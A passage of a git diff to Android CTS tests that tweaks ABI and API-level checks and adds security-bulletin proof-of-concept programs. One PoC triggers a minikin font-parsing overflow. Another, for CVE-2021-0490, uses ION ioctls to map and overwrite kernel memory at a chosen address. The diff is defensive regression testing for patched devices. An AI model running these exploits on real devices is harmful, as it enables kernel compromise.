+
+        assertThat(
+            SystemUtil.runShellCommand(
+                "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+            ).trim()
+        ).isEqualTo("Success")
+
+        assertResolvesTo(browsers)
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
index 4755b10..7930580 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
@@ -47,7 +47,9 @@
         File nativeLibDir = new File(mContext.getApplicationInfo().nativeLibraryDir);
         Assert.assertTrue(nativeLibDir.exists());
         Assert.assertTrue(nativeLibDir.isDirectory());
-        Assert.assertTrue(nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
+        Assert.assertTrue("Native lib dir: " + nativeLibDir.getAbsolutePath()
+                        + " does not end with: " + expectedSubDir,
+                nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
         Assert.assertEquals(1, nativeLibDir.list().length);
     }
 
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
index 876b1ee..a67c83d 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
@@ -58,6 +58,8 @@
 
     @Override
     public void setUp() throws Exception {
+        // Skip the test if the requested test ABI is 32 bit (that defeats the purpose of this test)
+        assumeTrue(AbiUtils.getBitness(getAbi().getName()).equals("64"));
         final String deviceAbi = getDeviceAbi();
         final Set<String> deviceAbis = getDeviceAbis();
         final Set<String> apkAbis = getApkAbis();
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
index 129986b..e1dcea4 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
@@ -177,7 +177,7 @@
      * @return an ABI string from AbiUtils.ABI_*
      * @return an ABI string from AbiUtils.ABI_*
      */
-    final String getExpectedLibAbi(String abiSuffix) throws Exception {
+    final String getExpectedLibAbi(String abiSuffix) {
         final String testAbi = getAbi().getName();
         final String testBitness = AbiUtils.getBitness(testAbi);
         final String libBitness;
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
index ca82dec..d5ca4f7 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
@@ -23,6 +23,8 @@
 import android.cts.host.utils.DeviceJUnit4Parameterized;
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.util.AbiUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -72,6 +74,11 @@
             // Skip incremental installations for non-incremental devices
             assumeTrue(isIncrementalInstallSupported());
         }
+        // Skip 64 bit tests if the test requires 32 bit ABI
+        final boolean isTest32Bit = AbiUtils.getBitness(getAbi().getName()).equals("32");
+        if (isTest32Bit) {
+            assumeTrue(mAbiSuffix.equals("32"));
+        }
         if (!mAbiSuffix.equals("Both")) {
             // Skip tests for unsupported abi suffixes.
             assumeTrue(getDeviceAbiSuffixes().contains(mAbiSuffix));
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
index 9ad35f1..0450f54 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
@@ -23,6 +23,8 @@
 import android.cts.host.utils.DeviceJUnit4Parameterized;
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.util.AbiUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -77,6 +79,8 @@
 
     @Override
     public void setUp() throws Exception {
+        // Skip the test if the requested test ABI is 32 bit (that defeats the purpose of this test)
+        assumeTrue(AbiUtils.getBitness(getAbi().getName()).equals("64"));
         if (mIsIncremental) {
             // Skip incremental installations for non-incremental devices
             assumeTrue(isIncrementalInstallSupported());
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 11be8cb..3223f46 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -408,7 +408,9 @@
     private void assumeSecurityModelCompat() throws Exception {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index d9da47a..1351be9 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -70,7 +70,9 @@
     private void assumeSecurityModelCompat() throws Exception {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
index 6122e09..35a9942 100644
--- a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
+++ b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
@@ -89,7 +89,9 @@
     private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= ANDROID_S_API_LEVEL) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= ANDROID_S_API_LEVEL) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 7fc8431..3ec96e3 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -189,7 +189,9 @@
     private void assumeSecurityModelCompat() throws Exception {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
similarity index 65%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
index c67488d..e28a3a7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
@@ -20,32 +20,22 @@
 }
 
 cc_test {
-    name: "CVE-2021-0684",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    header_libs: [
-        "libbatteryservice_headers",
+    name: "CVE-2018-9410",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
     ],
     srcs: [
         "poc.cpp",
-        "TestInputListener.cpp",
         ":cts_hostsidetests_securitybulletin_memutils",
     ],
+    shared_libs: [
+        "libminikin",
+    ],
+    header_libs: [
+        "libminikin-headers-for-tests",
+    ],
     cflags: [
         "-DCHECK_OVERFLOW",
-        "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
-        "-Wno-unused-parameter",
-    ],
-    static_libs: [
-        "libinputdispatcher",
-    ],
-    shared_libs: [
-        "libinputflinger_base",
-        "libinputreader",
-        "libinputflinger",
-        "libinputreader",
-        "libbase",
-        "libinput",
-        "liblog",
-        "libutils",
+        "-DENABLE_SELECTIVE_OVERLOADING",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
new file mode 100644
index 0000000..a150fd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <FontUtils.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using namespace minikin;
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit (EXIT_FAILURE);
+}
+
+int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    uint8_t majorVersion = 1;
+    uint8_t minorVersion = 0;
+    uint8_t axisOffset = 0x10;
+    uint8_t axisCount = 0xFF;
+    uint8_t axisSize = 0x14;
+
+    size_t allocatedSize = sizeof(uint8_t) * 16;
+    enable_selective_overload = ENABLE_ALL;
+    uint8_t* fvarData = (uint8_t*) malloc(allocatedSize);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(fvarData);
+    memset(fvarData, 0x0, allocatedSize);
+
+    fvarData[1] = majorVersion;
+    fvarData[3] = minorVersion;
+    fvarData[5] = axisOffset;
+    fvarData[8] = axisCount;
+    fvarData[9] = axisCount;
+    fvarData[11] = axisSize;
+
+    size_t fvarSize = axisOffset + axisOffset * ((axisCount << 8) | axisCount);
+    std::unordered_set < uint32_t > axes;
+    isTestInProgress = true;
+    analyzeAxes(fvarData, fvarSize, &axes);
+    isTestInProgress = false;
+    free(fvarData);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
new file mode 100644
index 0000000..2895e89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0490",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+    shared_libs: [
+        "libnfc-nci",
+        "liblog",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
new file mode 100644
index 0000000..04a9c99
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
@@ -0,0 +1,387 @@
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <sys/uio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <err.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <log/log.h>
+
+#define FAIL_CHECK_ALOGE(condition, error_message) \
+  if (!(condition)) { \
+    ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
+            __LINE__); \
+    exit(EXIT_FAILURE); \
+  }
+
+typedef unsigned int u32;
+typedef unsigned long u64;
+
+#define ION_IOC_MAGIC       'I'
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE  0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ  2U
+#endif
+
+#define _IOC(dir,type,nr,size) \
+    (((dir)  << _IOC_DIRSHIFT) | \
+     ((type) << _IOC_TYPESHIFT) | \
+     ((nr)   << _IOC_NRSHIFT) | \
+     ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+/* used to create numbers */
+#define _IO(type,nr)        _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)  _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)  _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+/* Structure definitions */
+
+enum ION_CMDS {
+    ION_CMD_SYSTEM,
+    ION_CMD_MULTIMEDIA,
+    ION_CMD_MULTIMEDIA_SEC
+};
+
+struct ion_custom_data {
+    unsigned int cmd;
+    unsigned long arg;
+};
+
+struct ion_fd_data {
+    int handle;
+    int fd;
+};
+
+struct ion_allocation_data {
+    size_t len;
+    size_t align;
+    unsigned int heap_id_mask;
+    unsigned int flags;
+    int handle;
+};
+
+struct ion_handle_data {
+    int handle;
+};
+
+struct ion_heap_query {
+    __u32 cnt; /* Total number of heaps to be copied */
+    __u32 reserved0; /* align to 64bits */
+    __u64 heaps; /* buffer to be populated */
+    __u32 reserved1;
+    __u32 reserved2;
+};
+
+enum ION_CACHE_SYNC_TYPE {
+    ION_CACHE_CLEAN_BY_RANGE,
+    ION_CACHE_INVALID_BY_RANGE,
+    ION_CACHE_FLUSH_BY_RANGE,
+    ION_CACHE_CLEAN_BY_RANGE_USE_VA,
+    ION_CACHE_INVALID_BY_RANGE_USE_VA,
+    ION_CACHE_FLUSH_BY_RANGE_USE_VA,
+    ION_CACHE_CLEAN_ALL,
+    ION_CACHE_INVALID_ALL,
+    ION_CACHE_FLUSH_ALL
+};
+
+enum ION_SYS_CMDS {
+    ION_SYS_CACHE_SYNC,
+    ION_SYS_GET_PHYS,
+    ION_SYS_GET_CLIENT,
+    ION_SYS_SET_HANDLE_BACKTRACE,
+    ION_SYS_SET_CLIENT_NAME,
+    ION_SYS_DMA_OP,
+};
+
+struct ion_sys_cache_sync_param {
+    union {
+        int handle;
+        void *kernel_handle;
+    };
+    void *va;
+    unsigned int size;
+    enum ION_CACHE_SYNC_TYPE sync_type;
+};
+
+struct ion_sys_get_phys_param {
+    union {
+        int handle;
+        void *kernel_handle;
+    };
+    unsigned int phy_addr;
+    unsigned long len;
+};
+
+struct ion_sys_get_client_param {
+    unsigned int client;
+};
+
+#define ION_MM_DBG_NAME_LEN 48
+#define ION_MM_SF_BUF_INFO_LEN 16
+
+struct ion_sys_client_name {
+    char name[ION_MM_DBG_NAME_LEN];
+};
+
+#define BACKTRACE_SIZE 10
+
+struct ion_sys_record_param {
+    pid_t group_id;
+    pid_t pid;
+    unsigned int action;
+    unsigned int address_type;
+    unsigned int address;
+    unsigned int length;
+    unsigned int backtrace[BACKTRACE_SIZE];
+    unsigned int backtrace_num;
+    void *handle;
+    void *client;
+    void *buffer;
+    void *file;
+    int fd;
+};
+
+enum ION_DMA_TYPE {
+    ION_DMA_MAP_AREA,
+    ION_DMA_UNMAP_AREA,
+    ION_DMA_MAP_AREA_VA,
+    ION_DMA_UNMAP_AREA_VA,
+    ION_DMA_FLUSH_BY_RANGE,
+    ION_DMA_FLUSH_BY_RANGE_USE_VA,
+    ION_DMA_CACHE_FLUSH_ALL
+};
+
+enum ION_DMA_DIR {
+    ION_DMA_FROM_DEVICE,
+    ION_DMA_TO_DEVICE,
+    ION_DMA_BIDIRECTIONAL,
+};
+
+struct ion_dma_param {
+    union {
+        int handle;
+        void *kernel_handle;
+    };
+    void *va;
+    unsigned int size;
+    enum ION_DMA_TYPE dma_type;
+    enum ION_DMA_DIR dma_dir;
+};
+
+#define ION_IOC_CUSTOM      _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+#define ION_IOC_ALLOC       _IOWR(ION_IOC_MAGIC, 0, \
+                      struct ion_allocation_data)
+
+#define ION_IOC_MAP     _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+#define ION_IOC_SYNC        _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+#define ION_IOC_SHARE       _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+struct ion_sys_data {
+    enum ION_SYS_CMDS sys_cmd;
+    union {
+        struct ion_sys_cache_sync_param cache_sync_param;
+        struct ion_sys_get_phys_param get_phys_param;
+        struct ion_sys_get_client_param get_client_param;
+        struct ion_sys_client_name client_name_param;
+        struct ion_sys_record_param record_param;
+        struct ion_dma_param dma_param;
+    };
+};
+
+union ion_ioctl_arg {
+    struct ion_fd_data fd;
+    struct ion_allocation_data allocation;
+    struct ion_handle_data handle;
+    struct ion_custom_data custom;
+    struct ion_heap_query query;
+};
+
+enum mtk_ion_heap_type {
+    ION_HEAP_TYPE_MULTIMEDIA = 10,
+    ION_HEAP_TYPE_FB = 11,
+    ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
+    ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
+    ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
+    ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
+    ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
+    ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
+    ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
+/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
+};
+
+
+/*
+ * mappings of this buffer should be cached, ion will do cache maintenance
+ * when the buffer is mapped for dma
+ */
+#define ION_FLAG_CACHED 1
+
+/*
+ * mappings of this buffer will created at mmap time, if this is set
+ * caches must be managed manually
+ */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+
+
+/*
+struct ion_client {
+    struct rb_node node;
+    struct ion_device *dev;
+    struct rb_root handles;
+    struct idr idr;
+    struct mutex lock;
+    const char *name;
+    char *display_name;
+    int display_serial;
+    struct task_struct *task;
+    pid_t pid;
+    struct dentry *debug_root;
+    char dbg_name[ION_MM_DBG_NAME_LEN];
+};
+*/
+// "dev" offset inside ion_client
+#define ion_device_OFF 12
+
+/*
+
+struct ion_device {
+    struct miscdevice dev;
+    struct rb_root buffers;
+    struct mutex buffer_lock;
+    struct rw_semaphore lock;
+    struct plist_head heaps;
+    long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
+                  unsigned long arg);
+    struct rb_root clients;
+    struct dentry *debug_root;
+    struct dentry *heaps_debug_root;
+    struct dentry *clients_debug_root;
+};
+
+*/
+
+//"custom_ioctl" offset inside
+#define custom_ioctl_OFF 100
+
+int g_fd = -1;
+
+#define MMAP_SIZE 4096
+//#define PAGE_SIZE 4096
+
+int alloc_handle(int type, unsigned long kernel_obj_addr) {
+
+    union ion_ioctl_arg iia;
+    memset(&iia, 0, sizeof(iia));
+
+    iia.allocation.len = MMAP_SIZE;
+    iia.allocation.align = kernel_obj_addr;
+    iia.allocation.heap_id_mask = 1 << type;
+    iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
+
+    FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
+    ALOGE("ION_IOC_ALLOC success");
+    return iia.allocation.handle;
+}
+
+int poc_write_kernel() {
+
+    g_fd = open("/dev/ion", 0x80000);
+    FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
+    ALOGE("[+] open /dev/ion");
+
+    int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
+
+    FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
+
+    union ion_ioctl_arg iia;
+    memset(&iia, 0, sizeof(iia));
+
+    iia.fd.handle = handle;
+
+    FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
+    ALOGE("ION_IOC_SHARE handle success");
+
+    int dma_fd = iia.fd.fd;
+
+    char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
+    FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
+
+    ALOGE("re_buf addr:%p", re_buf);
+    ALOGE("re_buf[0]:%x", re_buf[0]);
+
+    unsigned long read_num = 0;
+    int counter = 0;
+    unsigned long *read_buf = (unsigned long *)re_buf;
+    for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
+        if (read_buf[read_num]) {
+            //reduce number of log messages
+            if(counter++ % 8 == 0){
+              ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
+            }
+        }
+    }
+    ALOGE("read_num = %lu", read_num);
+    ALOGE("non zero = %d", counter);
+
+    memset(re_buf, 0xbb, MMAP_SIZE);
+    munmap(re_buf, MMAP_SIZE);
+    close(dma_fd);
+    close(g_fd);
+
+    return 0;
+}
+
+int main() {
+    poc_write_kernel();
+    ALOGE("test end");
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
deleted file mode 100644
index 875a38a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- *  is used as reference to come up with file
- *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- *  retained
- */
-
-#include "TestInputListener.h"
-
-namespace android {
-
-// --- TestInputListener ---
-
-TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
-                                     std::chrono::milliseconds eventDidNotHappenTimeout)
-      : mEventHappenedTimeout(eventHappenedTimeout),
-        mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
-
-TestInputListener::~TestInputListener() {}
-
-template <class NotifyArgsType>
-void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
-    std::unique_lock<std::mutex> lock(mLock);
-    base::ScopedLockAssertion assumeLocked(mLock);
-
-    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
-    if (queue.empty()) {
-        const bool eventReceived =
-                mCondition.wait_for(lock, mEventHappenedTimeout,
-                                    [&queue]() REQUIRES(mLock) { return !queue.empty(); });
-        if (!eventReceived) {
-            return;
-        }
-    }
-    if (outEventArgs) {
-        *outEventArgs = *queue.begin();
-    }
-    queue.erase(queue.begin());
-}
-
-template <class NotifyArgsType>
-void TestInputListener::assertNotCalled(std::string message) {
-    std::unique_lock<std::mutex> lock(mLock);
-    base::ScopedLockAssertion assumeLocked(mLock);
-
-    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
-    const bool eventReceived =
-            mCondition.wait_for(lock, mEventDidNotHappenTimeout,
-                                [&queue]() REQUIRES(mLock) { return !queue.empty(); });
-    if (eventReceived) {
-        return;
-    }
-}
-
-template <class NotifyArgsType>
-void TestInputListener::notify(const NotifyArgsType* args) {
-    std::scoped_lock<std::mutex> lock(mLock);
-
-    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
-    queue.push_back(*args);
-    mCondition.notify_all();
-}
-
-void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
-    notify<NotifyConfigurationChangedArgs>(args);
-}
-
-void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
-    notify<NotifyDeviceResetArgs>(args);
-}
-
-void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
-    notify<NotifyKeyArgs>(args);
-}
-
-void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
-    notify<NotifyMotionArgs>(args);
-}
-
-void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
-    notify<NotifySwitchArgs>(args);
-}
-
-void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
-    notify<NotifyPointerCaptureChangedArgs>(args);
-}
-
-void TestInputListener::notifySensor(const NotifySensorArgs* args) {
-    notify<NotifySensorArgs>(args);
-}
-
-void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
-    notify<NotifyVibratorStateArgs>(args);
-}
-
-} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
deleted file mode 100644
index 067ac83..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
